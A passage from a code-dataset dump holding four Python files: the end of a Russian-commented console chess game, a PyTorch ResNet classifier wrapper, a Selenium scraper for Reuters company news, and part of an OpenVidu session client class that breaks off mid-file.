board[i][j] == None and (figure['owner_current_j'] == j):\r\n        if (i - figure['owner_current_i'] == 2):\r\n            if (figure['owner_current_i'] == 1) and board[i-1][j] == None:\r\n                return True\r\n        elif i - figure['owner_current_i'] == 1:\r\n                return True\r\n    else:\r\n        return False\r\n\r\ndef black_pawn_check_attack(figure, i, j):\r\n    if board[i][j] == None:\r\n        return False\r\n    if board[i][j]['owner_color'] != figure['owner_color']:\r\n        if figure['owner_current_j'] == j:\r\n            return False\r\n        if (i == figure['owner_current_i'] + 1) and (j == figure['owner_current_j'] + 1 or j == figure['owner_current_j'] - 1):\r\n            return True\r\n    else:\r\n        return False\r\n            \r\ndef white_pawn_check_moves(figure, i, j):\r\n    if board[i][j] == None and (figure['owner_current_j'] == j):\r\n        if (i - figure['owner_current_i'] == -2):\r\n            if (figure['owner_current_i'] == 6) and board[i-1][j] == None:\r\n                return True\r\n                #field[i][j] = '♙'\r\n        elif i - figure['owner_current_i'] == -1:\r\n                return True\r\n    else:\r\n        return False\r\ndef white_pawn_check_attack(figure, i, j):\r\n    if board[i][j] == None:\r\n        return False\r\n    if board[i][j]['owner_color'] != figure['owner_color']:\r\n        if figure['owner_current_j'] == j:\r\n            return False\r\n        if (i == figure['owner_current_i'] - 1) and (j == figure['owner_current_j'] + 1 or j == figure['owner_current_j'] - 1):\r\n            return True\r\n    else:\r\n        return False\r\n    \r\n                \r\n#Rook - ладья\r\n\r\ndef rook_check_way(figure,i,j):    \r\n    if i == figure['owner_current_i']: #ходим вправо или влево\r\n        if figure['owner_current_j'] < j:\r\n            for col in (figure['owner_current_j'] + 1, j):\r\n                if board[i][col] != None:\r\n                    return False\r\n            return True\r\n        elif figure['owner_current_j'] > j:\r\n            for col in (j, figure['owner_current_j'] - 1):\r\n                if board[i][col] != None :\r\n                    return False\r\n            return True\r\n    elif j == figure['owner_current_j']: #ходим вниз или вверх\r\n        if figure['owner_current_i'] < i:\r\n            for row in (figure['owner_current_i'] + 1, i):\r\n                if board[row][j] != None:\r\n                    return False\r\n            return True\r\n        elif figure['owner_current_i'] > i:\r\n            for row in (i, figure['owner_current_i'] - 1):\r\n                if board[row][j] != None :\r\n                    return False\r\n            return True\r\n    \r\ndef rook_check_moves(figure,i,j):\r\n    if board[i][j] != None:\r\n        return False\r\n    elif rook_check_way(figure,i,j):\r\n        return True\r\n    else:\r\n        return False\r\n\r\ndef rook_check_attack(figure,i,j):\r\n    if board[i][j] == None:\r\n        return False\r\n    if board[i][j]['owner_color'] != figure['owner_color'] and rook_check_way(figure,i,j):\r\n        return True\r\n    return False\r\n\r\n# Knight - конь\r\ndef knight_check_moves(figure, i, j):\r\n    d_row = abs(figure['owner_current_i'] - i)\r\n    d_col = abs(figure['owner_current_j'] - j)\r\n    if ((d_row == 1 and d_col == 2) or (d_row == 2 and d_col == 1)) and board[i][j] == None:\r\n        return True\r\n    return False\r\n\r\ndef knight_check_attack(figure, i, j):\r\n    if board[i][j] == None:\r\n        return False\r\n    d_row = abs(figure['owner_current_i'] - i)\r\n    d_col = abs(figure['owner_current_j'] - j)\r\n    if (d_row == 1 and d_col == 2) or (d_row == 2 and d_col == 1):\r\n        if board[i][j]['owner_color'] != figure['owner_color']:\r\n            return True  \r\n    return False  \r\n# Bishop - слон\r\n\r\ndef bishop_check_way(figure,i,j):\r\n    def go_up(num):\r\n        return num + 1\r\n    def go_down(num):\r\n        return num - 1    \r\n    d_row = abs(figure['owner_current_i'] - i)\r\n    d_col = abs(figure['owner_current_j'] - j)\r\n    if d_row != d_col:\r\n        return False\r\n    if i > figure['owner_current_i']:\r\n        i_mod = go_up\r\n    else:\r\n        i_mod = go_down\r\n    if j > figure['owner_current_j']:\r\n        j_mod = go_up\r\n    else:\r\n        j_mod = go_down  \r\n    target_i = figure['owner_current_i']\r\n    target_j = figure['owner_current_j']      \r\n    for m in range(d_row-1):\r\n        target_i = i_mod(target_i)\r\n        target_j = j_mod(target_j)\r\n        if board[target_i][target_j] != None:\r\n            return False\r\n    return True\r\n\r\ndef bishop_check_moves(figure,i,j):\r\n    if board[i][j] != None:\r\n        return False\r\n    elif bishop_check_way(figure,i,j):\r\n        return True\r\n    else:\r\n        return False\r\n\r\ndef bishop_check_attack(figure,i,j):\r\n    if board[i][j] == None:\r\n        return False\r\n    if board[i][j]['owner_color'] != figure['owner_color'] and bishop_check_way(figure,i,j):\r\n        return True\r\n    return False\r\n\r\n\r\n# Queen - Ферзь \r\n\r\ndef queen_check_way(figure,i,j):\r\n    if rook_check_way(figure,i,j) or bishop_check_way(figure,i,j):\r\n        return True\r\n    return False  \r\n\r\ndef queen_check_moves(figure,i,j):\r\n    if board[i][j] != None:\r\n        return False\r\n    elif queen_check_way(figure,i,j):\r\n        return True\r\n    else:\r\n        return False\r\n\r\ndef queen_check_attack(figure,i,j):\r\n    if board[i][j] == None:\r\n        return False\r\n    if board[i][j]['owner_color'] != figure['owner_color'] and queen_check_way(figure,i,j):\r\n        return True\r\n    return False\r\n\r\n\r\n                \r\n# King-король\r\n\r\ndef king_check_way(figure,i,j):\r\n    if abs(figure['owner_current_i'] - i) > 1 and abs(figure['owner_current_j'] - j) > 1:\r\n        return False\r\n    if rook_check_way(figure,i,j) or bishop_check_way(figure,i,j):\r\n        return True\r\n    return False  \r\n\r\ndef king_check_moves(figure,i,j):\r\n    if board[i][j] != None:\r\n        return False\r\n    elif king_check_way(figure, i,j):\r\n        return True\r\n    else:\r\n        return False\r\n\r\ndef king_check_attack(figure,i,j):\r\n    if board[i][j] == None:\r\n        return False\r\n    if board[i][j]['owner_color'] != figure['owner_color'] and king_check_way(figure,i,j):\r\n        return True\r\n    return False\r\n\r\n\r\ndict_figure_types = {\r\n    'black_pawn' : [black_pawn_check_moves,black_pawn_check_attack],\r\n    'white_pawn' : [white_pawn_check_moves,white_pawn_check_attack],\r\n    'rook' : [rook_check_moves,rook_check_attack],\r\n    'knight' : [knight_check_moves,knight_check_attack],\r\n    'bishop' : [bishop_check_moves,bishop_check_attack],\r\n    'queen' : [queen_check_moves,queen_check_attack],\r\n    'king' : [king_check_moves,king_check_attack]\r\n}\r\n\r\n\r\ndef board_to_field():\r\n    global field, board\r\n    for cell in dict_field.keys():\r\n        i_field = dict_field[cell][0]\r\n        j_field = dict_field[cell][1]\r\n        i_board = i_field - 2\r\n        j_board = j_field - 2\r\n        if board[i_board][j_board] == None:\r\n            field[i_field][j_field] = '.'\r\n        elif (board[i_board][j_board]['type']== 'black_pawn'):\r\n            field[i_field][j_field] = 'p'\r\n        elif (board[i_board][j_board]['type']== 'white_pawn'):\r\n            field[i_field][j_field] = 'P'  \r\n        elif (board[i_board][j_board]['type']== 'rook') and board[i_board][j_board]['owner_color'] == CONST_COLOR_BLACK:\r\n            field[i_field][j_field] = 'r'   \r\n        elif (board[i_board][j_board]['type']== 'rook') and board[i_board][j_board]['owner_color'] == CONST_COLOR_WHITE:\r\n            field[i_field][j_field] = 'R' \r\n        elif (board[i_board][j_board]['type']== 'bishop') and board[i_board][j_board]['owner_color'] == CONST_COLOR_BLACK:\r\n            field[i_field][j_field] = 'b'   \r\n        elif (board[i_board][j_board]['type']== 'bishop') and board[i_board][j_board]['owner_color'] == CONST_COLOR_WHITE:\r\n            field[i_field][j_field] = 'B'\r\n        elif (board[i_board][j_board]['type']== 'knight') and board[i_board][j_board]['owner_color'] == CONST_COLOR_BLACK:\r\n            field[i_field][j_field] = 'n'   \r\n        elif (board[i_board][j_board]['type']== 'knight') and board[i_board][j_board]['owner_color'] == CONST_COLOR_WHITE:\r\n            field[i_field][j_field] = 'N'\r\n        elif (board[i_board][j_board]['type']== 'queen') and board[i_board][j_board]['owner_color'] == CONST_COLOR_BLACK:\r\n            field[i_field][j_field] = 'q'   \r\n        elif (board[i_board][j_board]['type']== 'queen') and board[i_board][j_board]['owner_color'] == CONST_COLOR_WHITE:\r\n            field[i_field][j_field] = 'Q'\r\n        elif (board[i_board][j_board]['type']== 'king') and board[i_board][j_board]['owner_color'] == CONST_COLOR_BLACK:\r\n            field[i_field][j_field] = 'k'   \r\n        elif (board[i_board][j_board]['type']== 'king') and board[i_board][j_board]['owner_color'] == CONST_COLOR_WHITE:\r\n            field[i_field][j_field] = 'K'\r\n\r\n\r\n\r\n\r\ndef create_board():\r\n    global board\r\n    i = 1\r\n    for j in range(8):\r\n        board[i][j] = create_black_pawn(CONST_COLOR_BLACK,i,j)\r\n    i = 6\r\n    for j in range(8):\r\n        board[i][j] = create_white_pawn(CONST_COLOR_WHITE,i,j)\r\n    board[0][0] = create_rook(CONST_COLOR_BLACK, 0, 0)\r\n    board[0][7] = create_rook(CONST_COLOR_BLACK, 0, 7)\r\n    board[7][0] = create_rook(CONST_COLOR_WHITE, 7, 0)\r\n    board[7][7] = create_rook(CONST_COLOR_WHITE, 7, 7)\r\n    board[0][1] = create_knight(CONST_COLOR_BLACK, 0, 1)\r\n    board[0][6] = create_knight(CONST_COLOR_BLACK, 0, 6)\r\n    board[7][1] = create_knight(CONST_COLOR_WHITE, 7, 1)\r\n    board[7][6] = create_knight(CONST_COLOR_WHITE, 7, 6)\r\n    board[0][2] = create_bishop(CONST_COLOR_BLACK, 0, 2)\r\n    board[0][5] = create_bishop(CONST_COLOR_BLACK, 0, 5)\r\n    board[7][2] = create_bishop(CONST_COLOR_WHITE, 7, 2)\r\n    board[7][5] = create_bishop(CONST_COLOR_WHITE, 7, 5)\r\n    board[0][3] = create_queen(CONST_COLOR_BLACK, 0, 3)\r\n    board[0][4] = create_king(CONST_COLOR_BLACK, 0, 4)\r\n    board[7][3] = create_queen(CONST_COLOR_WHITE, 7, 3)\r\n    board[7][4] = create_king(CONST_COLOR_WHITE, 7, 4)\r\n\r\n\r\ndef print_field():\r\n    board_to_field()\r\n    for i in range(12):\r\n        print (' '.join(field[i]))\r\n\r\ndef move(coord1,coord2,color):\r\n    current_i = dict_field[coord1][0] - 2\r\n    current_j = dict_field[coord1][1] - 2\r\n    i = dict_field[coord2][0] - 2\r\n    j = dict_field[coord2][1] - 2\r\n    if board[current_i][current_j] == None:\r\n        print(\"На этом месте нет фигуры\")\r\n        return False\r\n    if board[current_i][current_j]['owner_color'] != color:\r\n        print('Вы ходите вражеской фигурой')\r\n        return False\r\n    figure = board[current_i][current_j]\r\n    check_moves = dict_figure_types[figure['type']][0]\r\n    check_attack = dict_figure_types[figure['type']][1]\r\n    if check_moves(figure,i,j) or check_attack(figure,i,j):\r\n        board[i][j] = board[current_i][current_j]\r\n        board[current_i][current_j] = None\r\n        board[i][j]['owner_current_i'] = i\r\n        board[i][j]['owner_current_j'] = j\r\n        return True\r\n    else:\r\n        print('Ход невозможен')\r\n        return False\r\n\r\ndef figure_color(counter):\r\n    color = ''\r\n    if (counter % 2 != 0):\r\n        color = 'белых' \r\n    else:\r\n        color = 'черных'\r\n    return color\r\n\r\ndef find_king(color):\r\n    king_i = 0\r\n    king_j = 0\r\n    for i in range(len(board)):\r\n        for j in range(len(board)):\r\n            if board[i][j] is None:\r\n                continue\r\n            if (board[i][j]['type'] == 'king') and board[i][j]['owner_color'] == color:\r\n                king_i = i\r\n                king_j = j\r\n    return king_i,king_j\r\n\r\ndef check(color,x=None,y=None):\r\n    if x is None or y is None:        \r\n        king_i,king_j = find_king(color)\r\n    else:\r\n        king_i = x\r\n        king_j = y\r\n    for i in range(len(board)):\r\n        for j in range(len(board)):\r\n            if board[i][j] == None:\r\n                continue\r\n            figure = board[i][j]\r\n            check_attack = dict_figure_types[figure['type']][1]\r\n            if board[i][j]['owner_color'] != color and check_attack(figure,king_i,king_j):\r\n                return True,i,j\r\n    return False, i, j\r\n\r\ndef coord_generator(king_i,king_j, attack_i,attack_j):\r\n    if attack_i == king_i: #ходим вправо или влево\r\n        if king_j < attack_j:\r\n            for col in range(king_j + 1, attack_j):\r\n                yield attack_i,col\r\n        elif king_j > attack_j:\r\n            for col in range(attack_j, king_j - 1):\r\n                yield attack_i,col\r\n    elif attack_j == king_j: #ходим вниз или вверх\r\n        if king_i < attack_i:\r\n            for row in range(king_i + 1, attack_i):\r\n                yield row,attack_j\r\n        elif king_i > attack_i:\r\n            for row in range(attack_i, king_i - 1):\r\n                yield row,attack_j\r\n    else:\r\n        def go_up(num):\r\n            return num + 1\r\n        def go_down(num):\r\n            return num - 1    \r\n        d_row = abs(king_i - attack_i)\r\n        if king_i > attack_i:\r\n            i_mod = go_up\r\n        else:\r\n            i_mod = go_down\r\n        if king_j > attack_j:\r\n            j_mod = go_up\r\n        else:\r\n            j_mod = go_down        \r\n        target_i = attack_i\r\n        target_j = attack_j\r\n        for m in range(d_row-1):\r\n            target_i = i_mod(target_i)\r\n            target_j = j_mod(target_j)\r\n            yield target_i,target_j\r\n\r\n\r\n\r\ndef mate(color,attack_i,attack_j):\r\n    king_i,king_j = find_king(color)\r\n    move = False\r\n    king = board[king_i][king_j]\r\n    king_check_moves = dict_figure_types[king['type']][0]\r\n\r\n    for i in range(len(board)):\r\n        for j in range(len(board)):\r\n            king_move = king_check_moves(king,i,j)\r\n            if king_move:\r\n                board[i][j]=board[king_i][king_j]\r\n                king_check = check(color,i,j)\r\n                if not king_check:\r\n                    move = True\r\n                board[king_i][king_j]=board[i][j]\r\n    cover = False\r\n    if not board[attack_i][attack_j]['type'] == 'knight':\r\n        for x,y in coord_generator(king_i,king_j, attack_i,attack_j):\r\n            for i in range(len(board)):\r\n                for j in range(len(board)):\r\n                    if board[i][j] == None:\r\n                        continue\r\n                    figure = board[i][j]\r\n                    check_moves = dict_figure_types[figure['type']][0]\r\n                    if board[i][j]['owner_color'] == color and check_moves(figure,x,y):\r\n                        board[x][y] = board[i][j]\r\n                        if not check(color,king_i,king_j):\r\n                            cover = True    \r\n                        board[i][j]=board[x][y]\r\n    cont_attack = False\r\n    for i in range(len(board)):\r\n        for j in range(len(board)):\r\n\r\n            if board[i][j] == None:\r\n                    continue\r\n            figure = board[i][j]\r\n            check_attack = dict_figure_types[figure['type']][1]\r\n            if board[i][j]['owner_color'] == color and check_attack(figure,attack_i,attack_j):\r\n                    attacker = board[attack_i][attack_j]\r\n                    board[attack_i][attack_j] = board[i][j]\r\n                    if not check(color,king_i,king_j):\r\n                        cont_attack = True    \r\n                    board[i][j] = board[attack_i][attack_j]\r\n                    board[attack_i][attack_j] = attacker\r\n    if move or cover or cont_attack:\r\n        return False\r\n    return True            \r\n\r\n\r\ndef help(x_coord,y_coord):\r\n    board_to_field()\r\n    figure = board[x_coord][y_coord]\r\n    check_attack = dict_figure_types[figure['type']][1]\r\n    check_moves = dict_figure_types[figure['type']][0]\r\n    for i in range(12):\r\n        for j in range(12):\r\n            if i == x_coord+2 and j == y_coord+2:\r\n                print(Fore.GREEN + field[i][j]+Style.RESET_ALL, end = ' ')\r\n                continue\r\n            if (i<2) or (i>9) or (j<2) or (j>9):\r\n                print(field[i][j], end = ' ')\r\n                continue\r\n            if check_attack(figure,i-2,j-2) or check_moves(figure,i-2,j-2):\r\n                print(Back.GREEN + field[i][j]+Style.RESET_ALL, end = ' ')\r\n                continue           \r\n            print(field[i][j], end = ' ')\r\n        print()\r\n\r\n\r\ndef game():\r\n    def black_or_white_color(counter):\r\n        if counter % 2 != 0:\r\n            return CONST_COLOR_WHITE\r\n        else:\r\n            return CONST_COLOR_BLACK \r\n    def black_or_white_str(counter):\r\n        if counter % 2 != 0:\r\n            return 'белых'\r\n        else:\r\n            return 'черных'\r\n    counter = 1  \r\n    create_board()\r\n    print_field()\r\n    win = False\r\n    while not win:\r\n        coord = []\r\n        coord.append(input(f'Введите координаты фигуры {black_or_white_str(counter)}: ').lower())\r\n        if coord[0] in dict_field:\r\n            x_coord = dict_field[coord[0]][0] - 2\r\n            y_coord = dict_field[coord[0]][1] - 2\r\n            if board[x_coord][y_coord] is not None:\r\n                if board[x_coord][y_coord]['owner_color'] == black_or_white_color(counter):\r\n                    help(x_coord,y_coord)\r\n                else:\r\n                    print('Неверно выбрана фигура')\r\n                    continue\r\n            else:\r\n                print('Неверно выбрана фигура')\r\n                continue\r\n        else:\r\n            print('Нет такой координаты')\r\n            continue\r\n        coord.append(input('Введите ход: ').lower())\r\n        if move(coord[0],coord[1],black_or_white_color(counter)):\r\n            print_field()\r\n            counter += 1\r\n            is_checked, attack_i, attack_j = check(black_or_white_color(counter))\r\n            if is_checked:\r\n                print(f'Королю {black_or_white_str(counter)} поставлен шах')    \r\n                if board[attack_i][attack_j] != black_or_white_color(counter) and mate(black_or_white_color(counter),attack_i,attack_j):           \r\n                    print(f'Королю {black_or_white_str(counter)} поставлен мат')\r\n                    print('Игра закончена')\r\n                    win = True\r\n                     \r\n  \r\ngame()\r\n","repo_name":"NadiaNurm/UniversityProjects","sub_path":"chess/НурминскаяШахматы.py","file_name":"НурминскаяШахматы.py","file_ext":"py","file_size_in_byte":21821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26680389042","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport importlib\n\n\ndef class_for_name(module_name, class_name):\n    # load the module, will raise ImportError if module cannot be loaded\n    m = importlib.import_module(module_name)\n    # get the class, will raise AttributeError if class cannot be found\n    return getattr(m, class_name)\n\n\nclass ResNet(nn.Module):\n    def __init__(self, out_dim, encoder='resnet50', pretrained=True):\n        super(ResNet, self).__init__()\n        self.pretrained = pretrained\n        assert encoder in ['resnet18', 'resnet34', 'resnet50', 'resnet101', 'resnet152'], \"Incorrect encoder type\"\n\n        resnet = class_for_name(\"torchvision.models\", encoder)(pretrained=pretrained)\n\n        # last_layer = list(resnet.children())[-1]\n        # print(last_layer)\n        self.resnet = torch.nn.Sequential(*(list(resnet.children())[:-1]))\n        self.last_layer = nn.Linear(in_features=2048, out_features=out_dim, bias=True)\n\n    def forward(self, x):\n        x = self.resnet(x)\n        x = x.squeeze(3).squeeze(2)\n        x = self.last_layer(x)\n\n        return x\n\n\nif __name__ == '__main__':\n    # import torchvision.models\n    # model = torchvision.models.resnet152(pretrained=True)\n    # # print(model)\n    #\n    # input = torch.randn(5, 3, 384, 512)\n    # output = model(input)\n\n    #\n    # print('\\n')\n    # newmodel = torch.nn.Sequential(*(list(model.children())[:-1]))\n    # print(newmodel)\n\n    resnet = ResNet(out_dim=4)\n    input = torch.randn(5, 3, 384, 512)\n    output = resnet(input)\n    print('input.shape: {}'.format(input.shape))\n    print('output.shape: {}'.format(output.shape))\n","repo_name":"rthapa-26/FGVC-Plant-Pathology-2020-challenge-dataset-","sub_path":"AppleDiseaseClassifyCode/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"936674874","text":"from selenium import webdriver\nimport pandas as pd\nimport numpy as np\nfrom utils import scroll\n\n\nclass Reuters:\n    url_scheme = \"https://\"\n    url_host = \"www.reuters.com/\"\n    url_path = \"companies/\"\n    driver_path = \"D:/talks-of-stocks/scrapers/chromedriver_win32/chromedriver.exe\"\n\n\n    def __init__(self, ticker):\n        self.ticker = ticker\n        self.url = self.url_scheme + self.url_host + self.url_path + self.ticker + \".OQ/news\"\n        self.driver = webdriver.Chrome(executable_path=self.driver_path)\n\n        self.driver.implicitly_wait(30)\n\n\n    def open_newsfeed(self):\n        self.driver.get(self.url)\n        scroll(self.driver, 5)\n\n\n    def get_article_listings(self):\n        self.article_listings = self.driver.find_elements_by_class_name(\"MarketStoryItem-container-3rpwz\")\n\n\n    def get_data(self):\n        self.data = []\n\n        for article_listing in self.article_listings:\n            # Store current article details\n            article_details = []\n\n            # Retrieve headline and first sentence\n            article_listing_components = article_listing.text.split(\"\\n\")\n            headline = article_listing_components[0]\n            sentence = article_listing_components[1]\n\n            # Retrieve current article href\n            article = self.driver.find_element_by_link_text(headline)\n            article_link = article.get_attribute(\"href\")\n\n            # Open current article in a new tab\n            self.driver.execute_script(\"window.open('');\")\n            self.driver.switch_to_window(self.driver.window_handles[1])\n            self.driver.get(article_link)\n\n            # Retrieve article date\n            date_components = self.driver.find_element_by_class_name(\"ArticleHeader_date\").text.split(\"/\")\n            date = date_components[0][0:-1] # removes the space at the end\n\n            # Go back to main article listings tab\n            self.driver.close()\n            self.driver.switch_to_window(self.driver.window_handles[0])\n\n            # Store current article details\n            article_details.append(date)\n            article_details.append(headline)\n            article_details.append(sentence)\n\n            # Storing current article details in the dataset\n            self.data.append(article_details)\n\n\n    def export_data(self):\n        # Obtaining individual columns\n        data = np.array(self.data)\n        dates = data[:, 0]\n        headlines = data[:, 1]\n        sentences = data[:, 2]\n        column_headers = [\"Date\", \"Headline\", \"Sentence\"]\n\n        # Pandas DataFrame wrapper\n        self.dataset = pd.DataFrame(columns=column_headers)\n        self.dataset[\"Date\"] = dates\n        self.dataset[\"Headline\"] = headlines\n        self.dataset[\"Sentence\"] = sentences\n\n        # Exporting news data to CSV\n        self.dataset.to_csv(self.ticker + \"_news.csv\", index=False)\n\n\naapl_scraper = Reuters(\"AAPL\")\naapl_scraper.open_newsfeed()\naapl_scraper.get_article_listings()\naapl_scraper.get_data()\naapl_scraper.export_data()\n","repo_name":"anishseeniraj/newspip","sub_path":"scrapers/Reuters.py","file_name":"Reuters.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38723779898","text":"\"\"\"OpenViduSession class.\"\"\"\nfrom typing import Iterator, List\nfrom datetime import datetime\nfrom threading import RLock\nfrom requests_toolbelt.sessions import BaseUrlSession\n\nfrom .exceptions import OpenViduSessionDoesNotExistsError, OpenViduConnectionDoesNotExistsError, OpenViduError\nfrom .openviduconnection import OpenViduConnection\n\n\nclass OpenViduSession(object):\n    \"\"\"\n    This object represents an OpenVidu Session.\n    A session is a group of users sharing communicating each other.\n    \"\"\"\n\n    def __init__(self, session: BaseUrlSession, lock: RLock, data: dict):\n        \"\"\"\n        This is meant for internal use, thus you should not call it.\n        Use `OpenVidu.get_session` to get an instance of this class.\n        \"\"\"\n\n        self._session = session\n        self._data = data\n        self._lock = lock  # Sadly using this lock locks all other session objects as well\n\n    def fetch(self):\n        \"\"\"\n        Updates every property of the OpenViduSession with the current status it has in OpenVidu Server. This is especially useful for getting the list of active connections to the OpenViduSession (get_connections()).\n        To update every OpenViduSession object owned by OpenVidu object, call OpenVidu.fetch()\n\n        :return: True if the OpenViduSession status has changed with respect to the server, False if not. This applies to any property or sub-property of the object\n        \"\"\"\n        with self._lock:\n            r = self._session.get(f\"api/sessions/{self.id}\")\n\n            if r.status_code == 404:\n                self._data = {}\n                raise OpenViduSessionDoesNotExistsError()\n\n            r.raise_for_status()\n\n            is_changed = self._data != r.json()\n\n            if is_changed:\n                self._data = r.json()\n\n            return is_changed\n\n    def close(self):\n        \"\"\"\n        Gracefully closes the Session: unpublishes all streams and evicts every participant.\n        Further calls to this object will fail.\n        \"\"\"\n        with self._lock:\n            r = self._session.delete(f\"/api/sessions/{self.id}\")\n\n            if r.status_code == 404:\n                self._data = {}\n                raise OpenViduSessionDoesNotExistsError()\n\n            r.raise_for_status()\n            self._data = {}\n\n    @property\n    def is_valid(self) -> bool:\n        \"\"\"\n        Checks if this session still existed on the server by the last call to fetch().\n\n        :return: True if the session exists. False otherwise.\n        \"\"\"\n        with self._lock:\n            return bool(self._data)\n\n    def generate_token(self, role: str = 'PUBLISHER', data: str = None, video_max_recv_bandwidth: int = None,\n                       video_min_recv_bandwidth: int = None, video_max_send_bandwidth: int = None,\n                       video_min_send_bandwidth: int = None, allowed_filters: list = None) -> str:\n        \"\"\"\n        Gets a new token associated to Session.\n\n        In the video bandwidth settings 0 means unconstrained. Setting any of them (other than None) overrides the values configured in for the server.\n\n        https://docs.openvidu.io/en/2.12.0/reference-docs/REST-API/#post-apitokens\n\n        :param role: Allowed values: `SUBSCRIBER`, `PUBLISHER` or `MODERATOR`\n        :param data: metadata associated to this token (usually participant's information)\n        :param video_max_recv_bandwidth: Maximum number of Kbps that the client owning the token will be able to receive from Kurento Media Server.\n        :param video_min_recv_bandwidth: Minimum number of Kbps that the client owning the token will try to receive from Kurento Media Server.\n        :param video_max_send_bandwidth: Maximum number of Kbps that the client owning the token will be able to send to Kurento Media Server.\n        :param video_min_send_bandwidth: Minimum number of Kbps that the client owning the token will try to send to Kurento Media Server.\n        :param allowed_filters: Array of strings containing the names of the filters the user owning the token will be able to apply.\n        :return: The token as String.\n        \"\"\"\n        with self._lock:\n\n            if not self._data:  # Fail early... and always\n                raise OpenViduSessionDoesNotExistsError()\n\n            # Prepare parameters\n\n            if role not in ['SUBSCRIBER', 'PUBLISHER', 'MODERATOR']:\n                raise ValueError(f\"Role must be any of SUBSCRIBER, PUBLISHER or MODERATOR, not {role}\")\n\n            parameters = {\"session\": self.id, \"role\": role}\n\n            if data:\n                parameters['data'] = data\n\n            kurento_options = {\n                \"videoMaxRecvBandwidth\": video_max_recv_bandwidth,\n                \"videoMinRecvBandwidth\": video_min_recv_bandwidth,\n                \"videoMaxSendBandwidth\": video_max_send_bandwidth,\n                \"videoMinSendBandwidth\": video_min_send_bandwidth,\n                \"allowedFilters\": allowed_filters\n            }\n\n            kurento_options = {k: v for k, v in kurento_options.items() if v is not None}\n\n            if kurento_options:\n                parameters['kurentoOptions'] = kurento_options\n\n            # send request\n            r = self._session.post('api/tokens', json=parameters)\n\n            if r.status_code == 404:\n                raise OpenViduSessionDoesNotExistsError()\n            elif r.status_code == 400:\n                raise ValueError()\n\n            return r.json()['token']\n\n    @property\n    def connections(self) -> Iterator[OpenViduConnection]:\n        \"\"\"\n        Returns the list of active connections to the session.\n\n        :return: A generator for OpenViduConnection objects.\n        \"\"\"\n        with self._lock:\n            if not self._data:\n                raise OpenViduSessionDoesNotExistsError()\n\n            for connection_info in self._data['connections']['content']:\n                yield OpenViduConnection(self._session, self.id, connection_info)\n\n    def get_connection(self, connection_id: str) -> OpenViduConnection:\n        \"\"\"\n        Get a currently active connection to the server.\n\n        :param connection_id: Connection id.\n        :return: A OpenViduConnection objects.\n        \"\"\"\n        with self._lock:\n            if not self._data:\n                raise OpenViduSessionDoesNotExistsError()\n\n            for connection_info in self._data['connections']['content']:\n                if connection_info['connectionId'] == connection_id:\n                    return OpenViduConnection(self._session, self.id, connection_info)\n\n            raise OpenViduConnectionDoesNotExistsError()\n\n    def signal(self, type_: str = None, data: str = None, to: List[OpenViduConnection] = None):\n        \"\"\"\n        Sends a signal to all participants in the session or specific connections if the `to` property defined.\n        OpenViduConnection objects also implement this method.\n\n        https://docs.openvidu.io/en/2.12.0/reference-docs/REST-API/#post-apisignal\n\n        :param type_: Type of the signal. In the body example of the table above, only users subscribed to Session.on('signal:MY_TYPE') will trigger that signal. Users subscribed to Session.on('signal') will trigger signals of any type.\n        :param data: Actual data of the signal.\n        :param to: List of OpenViduConnection objects to which you want to send the signal. If this property is not set (None) the signal will be sent to all participants of the session.\n        \"\"\"\n        with self._lock:\n            if not self._data:  # Fail early... and always\n                raise OpenViduSessionDoesNotExistsError()\n\n            if to:\n                recipient_list = [connection.id for connection in to]\n            else:\n                recipient_list = None\n\n            parameters = {\n                \"session\": self.id,\n                \"to\": recipient_list,\n                \"type\": type_,\n                \"data\": data\n            }\n\n            parameters = {k: v for k, v in parameters.items() if v is not None}\n\n            # send request\n            r = self._session.post('api/signal', json=parameters)\n\n            if r.status_code == 404:\n                raise OpenViduSessionDoesNotExistsError()\n            elif r.status_code == 400:\n                raise ValueError()\n            elif r.status_code == 406:\n                raise OpenViduConnectionDoesNotExistsError()\n\n        r.raise_for_status()\n\n    def publish(self, rtsp_uri: str, data: str = '', adaptive_bitrate: bool = True,\n                only_play_with_subscribers: bool = True, type_: str = \"IPCAM\") -> OpenViduConnection:\n        \"\"\"\n        Publishes a new IPCAM rtsp stream to the session.\n\n        Unlike `OpenVidu.create_session` this method does not call fetch() automatically, since the server returns enough data to construct the connection object.\n        Keep in mind, that if you want the newly created Connection to appear in the `connections` list, you should call fetch() before accessing the list!\n\n        https://docs.openvidu.io/en/2.12.0/reference-docs/REST-API/#post-apisessionsltsession_idgtconnection\n\n        :param rtsp_uri: RTSP URI of the IP camera. For example: `rtsp://your.camera.ip:7777/path`.\n        :param data: Metadata you want to associate to the camera's participant.\n        :param adaptive_bitrate: Whether to use adaptive bitrate or not.\n        :param only_play_with_subscribers: Enable the IP camera stream only when some user is subscribed to it.\n        :param type_: Which type of stream will be published. Defaults to `IPCAM`.\n        :return: An OpenVidu connection object represents the newly created connection.\n        \"\"\"\n        with self._lock:\n            if not self._data:  # Fail early... and always\n                raise OpenViduSessionDoesNotExistsError()\n\n            parameters = {\n                \"type\": type_,\n                \"rtspUri\": rtsp_uri,\n                \"adaptativeBitrate\": adaptive_bitrate,\n                \"onlyPlayWithSubscribers\": only_play_with_subscribers,\n                \"data\": data\n            }\n\n            r = self._session.post(f'api/sessions/{self.id}/connection', json=parameters)\n\n            if r.status_code == 404:\n                raise OpenViduSessionDoesNotExistsError()\n            elif r.status_code == 400:\n                raise ValueError()\n            elif r.status_code == 500:\n                raise OpenViduError(r.content)\n\n            return OpenViduConnection(self._session, self.id, r.json())\n\n    @property\n    def connection_count(self) -> int:\n        \"\"\"\n        Get the number of active connections to the session.\n\n        :return: The number of active connections.\n        \"\"\"\n        with self._lock:\n            if not self._data:\n                raise OpenViduSessionDoesNotExistsError()\n\n            return self._data['connections']['numberOfElements']\n\n    @property\n    def id(self) -> str:\n        \"\"\"\n        :return: The ID of this session.\n        \"\"\"\n        with self._lock:\n            if not self._data:\n                raise OpenViduSessionDoesNotExistsError()\n\n            return self._data['sessionId']\n\n    @property\n    def created_at(self) -> datetime:\n        \"\"\"\n        :return: 